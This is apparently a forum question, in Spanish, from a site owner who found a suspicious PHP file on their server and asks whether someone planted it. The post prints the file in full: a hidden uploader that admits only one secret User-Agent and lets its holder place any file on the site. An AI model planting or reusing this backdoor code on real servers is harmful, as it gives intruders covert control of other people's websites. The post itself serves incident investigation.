Encontré un archivo extraño en uno de mis servidores que contiene el código a continuación. El archivo se modificó por última vez hace una semana a las 1.40 AM de la noche, lo cual es un poco extraño.
Últimamente he realizado muchos cambios en este sitio, pero no recuerdo haber subido este archivo:
<?php if(md5($_SERVER["HTTP_USER_AGENT"]) !== "49de371511c1de3bde34b0108ec7f129")
{
die("04030");
}
if (isset($_FILES["file"])){
$z = $_FILES["file"]["name"];
move_uploaded_file($_FILES["file"]["tmp_name"],$z);
header("Location: $z"); exit(); }
?>
<html>
<body>
<form action="<?php echo basename(__FILE__); ?>" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file">
<br>
<input type="submit" name="submit" value="Submit">
</form>
</body>
</html>
Entiendo lo que hace el código, pero no estoy seguro de que alguien más pueda haber subido esto, luego yo con la intención de piratear mi sitio. ¿Qué piensas?
Hice una comprobación rápida del servidor de todos los archivos que se modificaron después de agregar este código, pero no encontré nada sospechoso.